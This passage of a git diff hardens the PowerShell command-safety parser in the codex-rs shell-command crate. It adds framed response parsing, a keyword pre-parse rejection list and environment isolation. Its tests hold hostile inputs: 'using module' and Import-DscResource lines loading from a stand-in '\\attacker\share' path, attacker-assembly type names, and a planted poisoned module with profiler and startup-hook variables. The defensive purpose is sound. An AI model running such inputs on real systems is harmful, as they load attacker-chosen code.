the same way as an unsafe command. +# The Rust side does not accept that response as lowered commands. -# Use BOM-free UTF-8 on the protocol stream so Rust sees clean JSON lines with no +# Use BOM-free UTF-8 on the protocol stream so Rust sees clean framed lines with no # leading BOM bytes on the first response. $utf8 = [System.Text.UTF8Encoding]::new($false) $stdin = [System.IO.StreamReader]::new([Console]::OpenStandardInput(), $utf8, $false) @@ -43,9 +45,10 @@ function Invoke-ParseRequest { } # Top-level AST regions and collections outside the end-block statement list - # can execute code that the command lowering below does not inspect. + # can affect execution in ways that the command lowering below does not represent. $cleanBlock = $ast.PSObject.Properties['CleanBlock'] if ( + $ast.ScriptRequirements -ne $null -or $ast.ParamBlock -ne $null -or $ast.DynamicParamBlock -ne $null -or $ast.BeginBlock -ne $null -or @@ -106,10 +109,47 @@ function Invoke-ParseRequest { return @{ id = $RequestId; status = 'ok'; commands = $commands } } +function Convert-CommandsToPayload { + param($Commands) + + $memory = [System.IO.MemoryStream]::new() + $writer = [System.IO.BinaryWriter]::new( + $memory, + [System.Text.UTF8Encoding]::new($false), + $true + ) + try { + $writer.Write([uint32]$Commands.Count) + foreach ($command in $Commands) { + $writer.Write([uint32]$command.Count) + foreach ($word in $command) { + $bytes = [System.Text.Encoding]::UTF8.GetBytes([string]$word) + $writer.Write([uint32]$bytes.Length) + $writer.Write($bytes) + } + } + $writer.Flush() + return [System.Convert]::ToBase64String($memory.ToArray()) + } finally { + $writer.Dispose() + $memory.Dispose() + } +} + function Write-Response { param($Response) - $stdout.WriteLine(($Response | ConvertTo-Json -Compress -Depth 3)) + $requestId = [uint64]$Response.id + $status = [string]$Response.status + $payload = '' + if ($status -eq 'ok') { + try { + $payload = Convert-CommandsToPayload $Response.commands + } catch { + $status = 'parse_failed' + } + } + $stdout.WriteLine(([string]$requestId + "`t" + $status + "`t" + $payload)) } function Convert-CommandElement { @@ -248,25 +288,21 @@ function Add-CommandsFromPipelineBase { } # This script stays alive so the Rust caller can amortize PowerShell startup across -# many parse requests. Each request and response is one compact JSON line. +# many parse requests. Each request and response is one framed line. while (($requestLine = $stdin.ReadLine()) -ne $null) { - $request = $null - try { - $request = $requestLine | ConvertFrom-Json - } catch { - Write-Response @{ id = $null; status = 'parse_failed' } + $requestParts = $requestLine.Split([char]9) + $requestId = [uint64]0 + if ( + $requestParts.Count -ne 2 -or + -not [uint64]::TryParse($requestParts[0], [ref]$requestId) + ) { + Write-Response @{ id = 0; status = 'parse_failed' } continue } # We process requests serially, but still echo the id back so the Rust side can # detect protocol desyncs instead of silently trusting mixed stdout. - $requestId = $request.id - $payload = $request.payload - if ([string]::IsNullOrEmpty($payload)) { - Write-Response @{ id = $requestId; status = 'parse_failed' } - continue - } - + $payload = $requestParts[1] try { $source = [System.Text.Encoding]::Unicode.GetString( diff --git a/codex-rs/shell-command/src/command_safety/powershell_parser.rs b/codex-rs/shell-command/src/command_safety/powershell_parser.rs index 275c4fa0c5..5a845ffba3 100644 --- a/codex-rs/shell-command/src/command_safety/powershell_parser.rs +++ b/codex-rs/shell-command/src/command_safety/powershell_parser.rs @@ -2,8 +2,6 @@ use base64::Engine; use base64::engine::general_purpose::STANDARD as BASE64_STANDARD; #[cfg(windows)] use codex_utils_absolute_path::AbsolutePathBuf; -use serde::Deserialize; -use serde::Serialize; use std::collections::HashMap; #[cfg(windows)] use std::ffi::OsString; @@ -22,7 +20,10 @@ use std::sync::LazyLock; use std::sync::Mutex; use std::sync::PoisonError; +use super::powershell_preparse::requires_preparse_rejection; + const POWERSHELL_PARSER_SCRIPT: &str = include_str!("powershell_parser.ps1"); +const MAX_POWERSHELL_RESPONSE_LINE_BYTES: usize = 8 * 1024 * 1024; #[cfg(any(test, windows))] const WINDOWS_POWERSHELL_SUFFIX: &str = r"WindowsPowerShell\v1.0\powershell.exe"; #[cfg(any(test, windows))] @@ -66,10 +67,10 @@ pub(crate) enum TrustedPowerShellFlavor { /// Unlike [`try_parse_powershell_ast_commands`], parser selection here is independent of a /// runtime command's executable spelling. This lets callers inspect an untrusted runtime wrapper /// without ever spawning that wrapper before approval. -pub(crate) fn try_parse_powershell_ast_commands_with_trusted_flavor( +pub(crate) fn parse_powershell_ast_commands_with_trusted_flavor( flavor: TrustedPowerShellFlavor, script: &str, -) -> Option>> { +) -> PowershellParseOutcome { #[cfg(windows)] { let parser_executable = match flavor { @@ -81,17 +82,17 @@ pub(crate) fn try_parse_powershell_ast_commands_with_trusted_flavor( TrustedPowerShellRoot::ProgramFiles, WINDOWS_PWSH_SUFFIX, ), - }?; - match parse_with_powershell_ast(&parser_executable, script) { - PowershellParseOutcome::Commands(commands) => Some(commands), - PowershellParseOutcome::Unsupported | PowershellParseOutcome::Failed => None, - } + }; + let Some(parser_executable) = parser_executable else { + return PowershellParseOutcome::Failed; + }; + parse_with_powershell_ast(&parser_executable, script) } #[cfg(not(windows))] { let _ = (flavor, script); - None + PowershellParseOutcome::Failed } } @@ -272,8 +273,8 @@ fn trusted_windows_root(root: TrustedPowerShellRoot) -> std::io::Result Ok(path) } -#[derive(Debug, PartialEq, Eq)] -pub(super) enum PowershellParseOutcome { +#[derive(Clone, Debug, PartialEq, Eq)] +pub(crate) enum PowershellParseOutcome { Commands(Vec>), Unsupported, Failed, @@ -341,7 +342,14 @@ struct PowershellParserProcess { impl PowershellParserProcess { fn spawn(executable: &Path) -> std::io::Result { - let mut child = Command::new(executable) + let mut command = Command::new(executable); + Self::spawn_command(executable, &mut command) + } + + fn spawn_command(_executable: &Path, command: &mut Command) -> std::io::Result { + #[cfg(windows)] + configure_trusted_parser_environment(_executable, command)?; + let mut child = command .args([ "-NoLogo", "-NoProfile", @@ -376,23 +384,24 @@ impl PowershellParserProcess { } fn parse(&mut self, script: &str) -> std::io::Result { + // PowerShell performs semantic work after parsing, including module and DSC discovery. + // Reject those language forms before sending attacker-controlled source to ParseInput. + if requires_preparse_rejection(script) { + return Ok(PowershellParseOutcome::Unsupported); + } + let request = PowershellParserRequest { id: self.next_request_id, payload: encode_powershell_base64(script), }; self.next_request_id = self.next_request_id.wrapping_add(1); - let mut request_json = serialize_request(&request)?; - request_json.push('\n'); - self.stdin.write_all(request_json.as_bytes())?; + let mut request_line = serialize_request(&request)?; + request_line.push('\n'); + self.stdin.write_all(request_line.as_bytes())?; self.stdin.flush()?; - let mut response_line = String::new(); - if self.stdout.read_line(&mut response_line)? == 0 { - return Err(std::io::Error::new( - ErrorKind::UnexpectedEof, - "PowerShell parser closed stdout", - )); - } + let response_line = + read_bounded_response_line(&mut self.stdout, MAX_POWERSHELL_RESPONSE_LINE_BYTES)?; let response = deserialize_response(&response_line)?; // Requests are serialized today; the id still catches protocol desyncs if stdout is @@ -412,6 +421,68 @@ impl PowershellParserProcess { } } +#[cfg(windows)] +fn configure_trusted_parser_environment( + executable: &Path, + command: &mut Command, +) -> std::io::Result<()> { + let parser_home = executable.parent().ok_or_else(|| { + std::io::Error::new( + ErrorKind::InvalidInput, + "trusted PowerShell parser has no parent directory", + ) + })?; + let parser_home = canonicalize_trusted_windows_path(parser_home)?; + let system_dir = trusted_windows_root(TrustedPowerShellRoot::System)?; + let system_dir = canonicalize_trusted_windows_path(&system_dir)?; + let windows_dir = system_dir.parent().ok_or_else(|| { + std::io::Error::new( + ErrorKind::InvalidInput, + "Windows System known folder has no parent directory", + ) + })?; + + command + .env_clear() + .env("SystemRoot", windows_dir) + .env("WINDIR", windows_dir) + .env("PSModulePath", "") + .env("POWERSHELL_TELEMETRY_OPTOUT", "1") + .env("POWERSHELL_UPDATECHECK", "Off") + .current_dir(parser_home); + Ok(()) +} + +fn read_bounded_response_line( + reader: &mut impl BufRead, + max_bytes: usize, +) -> std::io::Result { + let mut line = String::new(); + let limit = u64::try_from(max_bytes) + .map_err(|_| invalid_response("response limit does not fit in u64"))? + .saturating_add(1); + let mut limited = std::io::Read::take(reader, limit); + let bytes_read = limited.read_line(&mut line)?; + if bytes_read == 0 { + return Err(std::io::Error::new( + ErrorKind::UnexpectedEof, + "PowerShell parser closed stdout", + )); + } + if bytes_read > max_bytes { + return Err(invalid_response( + "PowerShell parser response exceeded the limit", + )); + } + if !line.ends_with('\n') { + return Err(std::io::Error::new( + ErrorKind::UnexpectedEof, + "PowerShell parser response was not newline-terminated", + )); + } + Ok(line) +} + impl Drop for PowershellParserProcess { fn drop(&mut self) { kill_child(&mut self.child); @@ -437,37 +508,113 @@ fn take_child_stdout(child: &mut Child) -> std::io::Result std::io::Result { - serde_json::to_string(request).map_err(|error| { - std::io::Error::new( + if request.payload.contains(['\t', '\r', '\n']) { + return Err(std::io::Error::new( ErrorKind::InvalidData, - format!("failed to serialize PowerShell parser request: {error}"), - ) - }) + "PowerShell parser request payload contains a framing delimiter", + )); + } + Ok(format!("{}\t{}", request.id, request.payload)) } fn deserialize_response(response_line: &str) -> std::io::Result { - serde_json::from_str(response_line).map_err(|error| { - std::io::Error::new( - ErrorKind::InvalidData, - format!("failed to parse PowerShell parser response: {error}"), - ) + let response_line = response_line.trim_end_matches(['\r', '\n']); + let mut fields = response_line.splitn(3, '\t'); + let id = fields + .next() + .ok_or_else(|| invalid_response("missing request id"))? + .parse::() + .map_err(|_| invalid_response("invalid request id"))?; + let status = fields + .next() + .ok_or_else(|| invalid_response("missing status"))? + .to_string(); + let payload = fields + .next() + .ok_or_else(|| invalid_response("missing payload"))?; + let commands = if status == "ok" { + Some(decode_commands_payload(payload)?) + } else { + if !payload.is_empty() { + return Err(invalid_response("non-ok response contains a payload")); + } + None + }; + + Ok(PowershellParserResponse { + id, + status, + commands, }) } -#[derive(Serialize)] struct PowershellParserRequest { id: u64, payload: String, } -#[derive(Deserialize)] -#[serde(deny_unknown_fields)] +#[derive(Debug, PartialEq, Eq)] struct PowershellParserResponse { id: u64, status: String, commands: Option>>, } +fn decode_commands_payload(payload: &str) -> std::io::Result>> { + let bytes = BASE64_STANDARD + .decode(payload) + .map_err(|_| invalid_response("commands payload is not valid base64"))?; + let mut offset = 0usize; + let command_count = read_payload_u32(&bytes, &mut offset)?; + let command_count = usize::try_from(command_count) + .map_err(|_| invalid_response("command count does not fit in usize"))?; + let mut commands = Vec::with_capacity(command_count.min(bytes.len())); + + for _ in 0..command_count { + let word_count = read_payload_u32(&bytes, &mut offset)?; + let word_count = usize::try_from(word_count) + .map_err(|_| invalid_response("word count does not fit in usize"))?; + let mut command = Vec::with_capacity(word_count.min(bytes.len())); + for _ in 0..word_count { + let word_len = read_payload_u32(&bytes, &mut offset)?; + let word_len = usize::try_from(word_len) + .map_err(|_| invalid_response("word length does not fit in usize"))?; + let word_end = offset + .checked_add(word_len) + .filter(|end| *end <= bytes.len()) + .ok_or_else(|| invalid_response("word extends beyond commands payload"))?; + let word = std::str::from_utf8(&bytes[offset..word_end]) + .map_err(|_| invalid_response("command word is not valid UTF-8"))?; + command.push(word.to_string()); + offset = word_end; + } + commands.push(command); + } + + if offset != bytes.len() { + return Err(invalid_response("commands payload has trailing data")); + } + Ok(commands) +} + +fn read_payload_u32(bytes: &[u8], offset: &mut usize) -> std::io::Result { + let end = offset + .checked_add(4) + .filter(|end| *end <= bytes.len()) + .ok_or_else(|| invalid_response("commands payload ended before a length field"))?; + let value = u32::from_le_bytes( + bytes[*offset..end] + .try_into() + .map_err(|_| invalid_response("invalid length field"))?, + ); + *offset = end; + Ok(value) +} + +fn invalid_response(message: &str) -> std::io::Error { + std::io::Error::new(ErrorKind::InvalidData, message) +} + impl PowershellParserResponse { fn into_outcome(self) -> PowershellParseOutcome { match self.status.as_str() { @@ -487,6 +634,10 @@ impl PowershellParserResponse { } } +#[cfg(test)] +#[path = "powershell_parser_response_tests.rs"] +mod response_tests; + fn kill_child(child: &mut Child) { let _ = child.kill(); let _ = child.wait(); @@ -501,6 +652,10 @@ mod tests { use super::*; use pretty_assertions::assert_eq; + fn words(items: &[&str]) -> Vec { + items.iter().map(ToString::to_string).collect() + } + #[test] fn production_resolver_handles_multiple_windows_powershell_requests() { let Some(powershell) = trusted_windows_powershell_invocation_path() else { @@ -609,6 +764,147 @@ mod tests { assert_eq!(parsed, PowershellParseOutcome::Unsupported); } + #[test] + fn parser_process_rejects_preparse_and_script_requirement_forms() { + let powershell = trusted_windows_powershell_parser(); + let mut parser = PowershellParserProcess::spawn(&powershell).unwrap(); + + for script in [ + "#Requires -Modules CodexProbe\nGet-Content Cargo.toml", + "Get-Content Cargo.toml\n#Requires -Modules C:\\workspace\\CodexProbe.psm1", + "#Requires -Modules C:\\workspace\\CodexProbe.psd1\nGet-Content Cargo.toml", + r#"#Requires -Modules @{ ModuleName = "CodexProbe"; ModuleVersion = "1.0" } +Get-Content Cargo.toml"#, + "#Requires -Version 5.1\nGet-Content Cargo.toml", + "UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml", + "configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }", + ] { + assert_eq!( + parser.parse(script).unwrap(), + PowershellParseOutcome::Unsupported, + "pre-parser construct must be unsupported: {script:?}", + ); + } + } + + #[test] + fn parser_process_never_sends_assembly_qualified_types_to_sma() { + let powershell = trusted_windows_powershell_parser(); + let mut parser = PowershellParserProcess::spawn(&powershell).unwrap(); + + for source in [ + "[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]", + "[Codex.DoesNotExist, //attacker/share/Evil]", + r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]", + r"[Codex.DoesNotExist, \\attacker\share\Evil]", + "[Codex.DoesNotExist <# ] #>, C:/workspace/Codex.AttackerAssembly]", + ] { + let next_request_id = parser.next_request_id; + assert_eq!( + parser.parse(source).unwrap(), + PowershellParseOutcome::Unsupported, + ); + assert_eq!( + parser.next_request_id, next_request_id, + "assembly-qualified type reached the parser child: {source:?}", + ); + } + } + + #[test] + fn parser_process_isolates_inherited_environment_and_module_search() { + let temp = tempfile::tempdir().unwrap(); + let marker = temp.path().join("autoload-marker"); + let marker_for_powershell = marker.to_string_lossy().replace('\'', "''"); + let module_dir = temp + .path() + .join("Modules") + .join("Microsoft.PowerShell.Utility"); + std::fs::create_dir_all(&module_dir).unwrap(); + std::fs::write( + module_dir.join("Microsoft.PowerShell.Utility.psd1"), + r#"@{ + RootModule = 'Microsoft.PowerShell.Utility.psm1' + ModuleVersion = '1.0.0' + GUID = '4ce19c99-2640-4f33-94e1-b7f1dc95306e' + FunctionsToExport = @('ConvertFrom-Json', 'ConvertTo-Json') +}"#, + ) + .unwrap(); + std::fs::write( + module_dir.join("Microsoft.PowerShell.Utility.psm1"), + r#"[System.IO.File]::WriteAllText('__MARKER__', 'autoloaded') +function ConvertFrom-Json { process { @{ id = 0; payload = '' } } } +function ConvertTo-Json { process { 'poisoned' } } +"# + .replace("__MARKER__", &marker_for_powershell), + ) + .unwrap(); + + let mut executables = vec![trusted_windows_powershell_parser()]; + if let Some(pwsh) = trusted_standard_pwsh_invocation_path() { + executables.push(pwsh); + } + + for (index, executable) in executables.into_iter().enumerate() { + let mut command = Command::new(&executable); + command.env("PSModulePath", temp.path().join("Modules")); + for name in [ + "DOTNET_STARTUP_HOOKS", + "DOTNET_ADDITIONAL_DEPS", + "DOTNET_SHARED_STORE", + "DOTNET_ROOT", + "CORECLR_PROFILER_PATH", + "COR_PROFILER_PATH", + "PATH", + "HOME", + "USERPROFILE", + "APPDATA", + "LOCALAPPDATA", + ] { + command.env(name, temp.path()); + } + command + .env("CORECLR_ENABLE_PROFILING", "1") + .env("CORECLR_PROFILER", "{4CE19C99-2640-4F33-94E1-B7F1DC95306E}") + .env("COR_ENABLE_PROFILING", "1") + .env("COR_PROFILER", "{4CE19C99-2640-4F33-94E1-B7F1DC95306E}") + .env("COMPlus_ReadyToRun", "0") + .current_dir(temp.path()); + let mut parser = + PowershellParserProcess::spawn_command(&executable, &mut command).unwrap(); + + for (script, expected) in [ + ( + "# ordinary comment\nGet-Content Cargo.toml", + PowershellParseOutcome::Commands(vec![words(&["Get-Content", "Cargo.toml"])]), + ), + ( + "Write-Output 'fóó'; Measure-Object", + PowershellParseOutcome::Commands(vec![ + words(&["Write-Output", "fóó"]), + words(&["Measure-Object"]), + ]), + ), + ("", PowershellParseOutcome::Unsupported), + ( + "Get-Content repeated.txt", + PowershellParseOutcome::Commands(vec![words(&["Get-Content", "repeated.txt"])]), + ), + ] { + assert_eq!( + parser.parse(script).unwrap(), + expected, + "protected parser {executable:?} request {index} must work in isolation", + ); + } + assert!( + !marker.exists(), + "protected parser {executable:?} loaded user-controlled startup code", + ); + } + } + #[test] fn parser_process_rejects_trap_blocks() { let powershell = trusted_windows_powershell_parser(); diff --git a/codex-rs/shell-command/src/command_safety/powershell_parser_response_tests.rs b/codex-rs/shell-command/src/command_safety/powershell_parser_response_tests.rs new file mode 100644 index 0000000000..4003a590bd --- /dev/null +++ b/codex-rs/shell-command/src/command_safety/powershell_parser_response_tests.rs @@ -0,0 +1,121 @@ +use super::*; +use pretty_assertions::assert_eq; + +fn encode_commands(commands: &[&[&str]]) -> String { + let mut bytes = Vec::new(); + bytes.extend_from_slice(&u32::try_from(commands.len()).unwrap().to_le_bytes()); + for command in commands { + bytes.extend_from_slice(&u32::try_from(command.len()).unwrap().to_le_bytes()); + for word in *command { + bytes.extend_from_slice(&u32::try_from(word.len()).unwrap().to_le_bytes()); + bytes.extend_from_slice(word.as_bytes()); + } + } + BASE64_STANDARD.encode(bytes) +} + +#[test] +fn framed_protocol_preserves_ids_and_command_words() { + for (id, payload, expected) in [ + ( + 42, + "RwBlAHQALQBDAG8AbgB0AGUAbgB0AA==", + "42\tRwBlAHQALQBDAG8AbgB0AGUAbgB0AA==", + ), + (43, "", "43\t"), + ] { + assert_eq!( + serialize_request(&PowershellParserRequest { + id, + payload: payload.into() + }) + .unwrap(), + expected, + ); + } + + let payload = encode_commands(&[&["Get-Content", "fóó.txt"], &["Measure-Object"]]); + assert_eq!( + deserialize_response(&format!("42\tok\t{payload}\r\n")).unwrap(), + PowershellParserResponse { + id: 42, + status: "ok".into(), + commands: Some(vec![ + ["Get-Content", "fóó.txt"].map(str::to_string).to_vec(), + vec!["Measure-Object".into()], + ]), + }, + ); +} + +#[test] +fn framed_protocol_rejects_malformed_command_payloads() { + let encode = |bytes| format!("1\tok\t{}", BASE64_STANDARD.encode(bytes)); + for response in [ + "missing-fields".into(), + "1\tok".into(), + "x\tunsupported\t".into(), + "1\tunsupported\tnot-empty".into(), + "1\tunsupported\t\textra".into(), + "1\tok\tnot-base64!".into(), + encode(vec![1, 0, 0]), + encode(vec![u8::MAX; 4]), + encode(vec![1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, u8::MAX]), + encode(vec![1, 0, 0, 0, 1, 0, 0, 0, 255, 255, 255, 255]), + encode(vec![0, 0, 0, 0, u8::MAX]), + ] { + assert!( + deserialize_response(&response).is_err(), + "accepted {response:?}" + ); + } + assert!( + serialize_request(&PowershellParserRequest { + id: 1, + payload: "bad\tpayload".into(), + }) + .is_err() + ); +} + +#[test] +fn framed_protocol_bounds_lines_and_distinguishes_outcomes() { + let mut complete = std::io::Cursor::new(b"1\tunsupported\t\n".as_slice()); + assert_eq!( + read_bounded_response_line(&mut complete, /*max_bytes*/ 32).unwrap(), + "1\tunsupported\t\n" + ); + for bytes in [b"123456789\n".as_slice(), b"unterminated".as_slice()] { + assert!( + read_bounded_response_line(&mut std::io::Cursor::new(bytes), /*max_bytes*/ 8,).is_err() + ); + } + + for (status, commands, expected) in [ + ("unsupported", None, PowershellParseOutcome::Unsupported), + ("ok", Some(Vec::new()), PowershellParseOutcome::Unsupported), + ( + "ok", + Some(vec![Vec::new()]), + PowershellParseOutcome::Unsupported, + ), + ( + "ok", + Some(vec![vec![String::new()]]), + PowershellParseOutcome::Unsupported, + ), + ("parse_failed", None, PowershellParseOutcome::Failed), + ("parse_errors", None, PowershellParseOutcome::Failed), + ("unknown", None, PowershellParseOutcome::Failed), + ] { + assert_eq!( + PowershellParserResponse { + id: 0, + status: status.into(), + commands + } + .into_outcome(), + expected, + ); + } +} diff --git a/codex-rs/shell-command/src/command_safety/powershell_preparse.rs b/codex-rs/shell-command/src/command_safety/powershell_preparse.rs new file mode 100644 index 0000000000..243d4673bd --- /dev/null +++ b/codex-rs/shell-command/src/command_safety/powershell_preparse.rs @@ -0,0 +1,40 @@ +/// Returns whether a PowerShell source must be rejected before calling `Parser::ParseInput`. +/// +/// `ParseInput` is not a side-effect-free syntax parser. Its semantic passes can resolve `using` +/// directives, initialize DSC configuration keywords, and resolve assembly-qualified type names, +/// any of which may inspect or load a source-selected path. Keep the pre-parser deliberately +/// coarse and auditable: suspicious raw forms are handled by the outer-command policy without +/// sending the source to System.Management.Automation. +pub(super) fn requires_preparse_rejection(source: &str) -> bool { + source.contains('`') + || contains_bracket_before_later_comma(source) + || ["using", "configuration", "import-dscresource"] + .into_iter() + .any(|keyword| contains_ignore_ascii_case(source, keyword)) +} + +/// Assembly-qualified PowerShell type syntax contains `[` before a later `,`. Once an opening +/// bracket is seen, deliberately never reset on `]`: comments and strings can contain a closing +/// bracket before the real assembly delimiter, while `ParseInput` still resolves the assembly. +fn contains_bracket_before_later_comma(source: &str) -> bool { + let mut saw_bracket = false; + for byte in source.bytes() { + match byte { + b'[' => saw_bracket = true, + b',' if saw_bracket => return true, + _ => {} + } + } + false +} + +fn contains_ignore_ascii_case(source: &str, needle: &str) -> bool { + source + .as_bytes() + .windows(needle.len()) + .any(|window| window.eq_ignore_ascii_case(needle.as_bytes())) +} + +#[cfg(test)] +#[path = "powershell_preparse_tests.rs"] +mod tests; diff --git a/codex-rs/shell-command/src/command_safety/powershell_preparse_tests.rs b/codex-rs/shell-command/src/command_safety/powershell_preparse_tests.rs new file mode 100644 index 0000000000..628cd57871 --- /dev/null +++ b/codex-rs/shell-command/src/command_safety/powershell_preparse_tests.rs @@ -0,0 +1,62 @@ +use super::requires_preparse_rejection; + +#[test] +fn rejects_every_possible_parse_time_construct_before_semantic_parsing() { + for source in [ + r"using module '\\attacker\share\Evil.psd1'", + r"using module .\workspace\Evil.psd1", + "UsInG <# formatting #>\n MoDuLe '\\\\attacker\\share\\Evil.psd1'", + r"configuration CodexProbe { Import-DscResource -ModuleName '\\attacker\share\Evil.psd1' }", + r"[DscLocalConfigurationManager()] CoNfIgUrAtIoN CodexProbe { + ImPoRt-DsCrEsOuRcE -ModuleName '\\attacker\share\Evil.psd1' + }", + r"$value=1,using module '\\attacker\share\Evil.psd1'", + r"$value[using module '\\attacker\share\Evil.psd1'", + r"$value..configuration CodexProbe { Import-DscResource }", + "$$using module Foo", + "u`sing module Foo", + "configura`tion CodexProbe {}", + "Get-Content `\n Cargo.toml", + "Write-Output x` #; configuration CodexProbe {}", + "# using module Foo\nGet-Content Cargo.toml", + "<# configuration CodexProbe {} #>\nGet-Content Cargo.toml", + r"Write-Output 'using module Foo'", + r#"Write-Output "configuration CodexProbe {}""#, + r"Get-Content C:\configuration\using\file.txt", + "[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]", + "[Codex.DoesNotExist, //tmp/Codex.AttackerAssembly]", + r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]", + r"[Codex.DoesNotExist, \\attacker\share\Evil]", + "[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]", + "[Codex.DoesNotExist, //attacker/share/Evil]", + "[Codex.DoesNotExist <# ] #>, /tmp/Codex.AttackerAssembly]", + "[Codex.DoesNotExist\n,\n/tmp/Codex.AttackerAssembly]", + "[System.Collections.Generic.Dictionary[string, Codex.DoesNotExist]]", + "[System.Collections.Generic.List[[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]]]", + "[Codex.DoesNotExistAttribute, Codex.AttackerAssembly()] class C {}", + "[Codex.DoesNotExistAttribute <# ] #>, /tmp/Codex.AttackerAssembly()] class C {}", + "Write-Output '[not a type]'; Write-Output a,b", + "# [ inert\nWrite-Output a,b", + ] { + assert!(requires_preparse_rejection(source), "accepted {source:?}"); + } +} + +#[test] +fn allows_sources_without_raw_semantic_keywords() { + for source in [ + "# ordinary comment\nGet-Content Cargo.toml", + r#"Write-Output "ordinary string""#, + r#"confi"guration" CodexProbe {}"#, + "u'sing' module Foo", + "#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml", + "[System.String]::Empty", + "$items[0]", + "Write-Output 1,2; [System.String]::Empty", + "Write-Output '[not a type]'", + "[Codex.DoesNotExist， /tmp/Codex.AttackerAssembly]", + "[Codex.DoesNotExist، /tmp/Codex.AttackerAssembly]", + ] { + assert!(!requires_preparse_rejection(source), "rejected {source:?}"); + } +} diff --git a/codex-rs/shell-command/src/command_safety/windows_safe_commands.rs b/codex-rs/shell-command/src/command_safety/windows_safe_commands.rs index 049f4e13fd..d54aab491f 100644 --- a/codex-rs/shell-command/src/command_safety/windows_safe_commands.rs +++ b/codex-rs/shell-command/src/command_safety/windows_safe_commands.rs @@ -470,6 +470,23 @@ mod tests { ]))); } + #[test] + fn rejects_script_requirements_before_safe_inner_commands() { + assert!(!is_safe_command_windows(&vec_str(&[ + windows_powershell_exe(), + "-NoProfile", + "-Command", + "#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml", + ]))); + + assert!(is_safe_command_windows(&vec_str(&[ + windows_powershell_exe(), + "-NoProfile", + "-Command", + "# ordinary comment\nGet-Content Cargo.toml", + ]))); + } + #[test] fn rejects_powershell_named_blocks() { assert!(!is_safe_command_windows(&vec_str(&[ @@ -481,13 +498,22 @@ mod tests { } #[test] - fn rejects_powershell_using_statements() { - assert!(!is_safe_command_windows(&vec_str(&[ - windows_powershell_exe(), - "-NoProfile", - "-Command", - "using module ./codex_poc.psm1\nGet-Content Cargo.toml", - ]))); + fn rejects_powershell_parse_time_side_effects() { + for script in [ + "UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml", + "configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }", + r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]", + r"[Codex.DoesNotExist, \\attacker\share\Evil]", + "[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]", + "[Codex.DoesNotExist, //attacker/share/Evil]", + ] { + assert!(!is_safe_command_windows(&vec_str(&[ + windows_powershell_exe(), + "-NoProfile", + "-Command", + script, + ]))); + } } #[test] diff --git a/codex-rs/shell-command/src/powershell.rs b/codex-rs/shell-command/src/powershell.rs index 8ead1a9870..1ca197d274 100644 --- a/codex-rs/shell-command/src/powershell.rs +++ b/codex-rs/shell-command/src/powershell.rs @@ -1,9 +1,10 @@ use codex_utils_absolute_path::AbsolutePathBuf; +use crate::command_safety::PowershellParseOutcome; use crate::command_safety::TrustedPowerShellFlavor; use crate::command_safety::is_trusted_powershell_parser_executable; +use crate::command_safety::parse_powershell_ast_commands_with_trusted_flavor; use crate::command_safety::try_parse_powershell_ast_commands; -use crate::command_safety::try_parse_powershell_ast_commands_with_trusted_flavor; const POWERSHELL_FLAGS: &[&str] = &["-nologo", "-noprofile", "-command", "-c"]; @@ -90,9 +91,23 @@ pub enum PowerShellFlavor { #[derive(Clone, Debug, Eq, PartialEq)] pub enum PowerShellExecPolicyParse { /// The runtime wrapper is the same protected executable used for parsing. - TrustedRuntime { commands: Option>> }, + TrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome, + }, /// A protected parser inspected the body, but the runtime wrapper remains untrusted. - UntrustedRuntime { commands: Option>> }, + UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome, + }, +} + +#[derive(Clone, Debug, Eq, PartialEq)] +pub enum PowerShellExecPolicyParseOutcome { + /// The protected parser safely lowered the script into argv-like commands. + Commands(Vec>), + /// The script or wrapper is valid but outside the safe lowering subset. + Unsupported, + /// The protected parser could not return an authoritative result. + Failed, } /// Inspects a PowerShell wrapper without spawning its model-selected runtime. @@ -101,12 +116,13 @@ pub fn parse_powershell_command_for_exec_policy( ) -> Option { let executable = command.first()?; let flavor = powershell_flavor_for_executable(executable)?; - let commands = extract_powershell_command(command) - .and_then(|(_, script)| parse_powershell_script_with_trusted_parser(flavor, script)); + let outcome = extract_powershell_command(command) + .map(|(_, script)| parse_powershell_script_with_trusted_parser_outcome(flavor, script)) + .unwrap_or(PowerShellExecPolicyParseOutcome::Unsupported); if is_trusted_powershell_parser_executable(executable) { - Some(PowerShellExecPolicyParse::TrustedRuntime { commands }) + Some(PowerShellExecPolicyParse::TrustedRuntime { outcome }) } else { - Some(PowerShellExecPolicyParse::UntrustedRuntime { commands }) + Some(PowerShellExecPolicyParse::UntrustedRuntime { outcome }) } } @@ -139,11 +155,28 @@ pub fn parse_powershell_script_with_trusted_parser( flavor: PowerShellFlavor, script: &str, ) -> Option>> { + match parse_powershell_script_with_trusted_parser_outcome(flavor, script) { + PowerShellExecPolicyParseOutcome::Commands(commands) => Some(commands), + PowerShellExecPolicyParseOutcome::Unsupported + | PowerShellExecPolicyParseOutcome::Failed => None, + } +} + +fn parse_powershell_script_with_trusted_parser_outcome( + flavor: PowerShellFlavor, + script: &str, +) -> PowerShellExecPolicyParseOutcome { let trusted_flavor = match flavor { PowerShellFlavor::WindowsPowerShell => TrustedPowerShellFlavor::WindowsPowerShell, PowerShellFlavor::PowerShell7 => TrustedPowerShellFlavor::PowerShell7, }; - try_parse_powershell_ast_commands_with_trusted_flavor(trusted_flavor, script) + match parse_powershell_ast_commands_with_trusted_flavor(trusted_flavor, script) { + PowershellParseOutcome::Commands(commands) => { + PowerShellExecPolicyParseOutcome::Commands(commands) + } + PowershellParseOutcome::Unsupported => PowerShellExecPolicyParseOutcome::Unsupported, + PowershellParseOutcome::Failed => 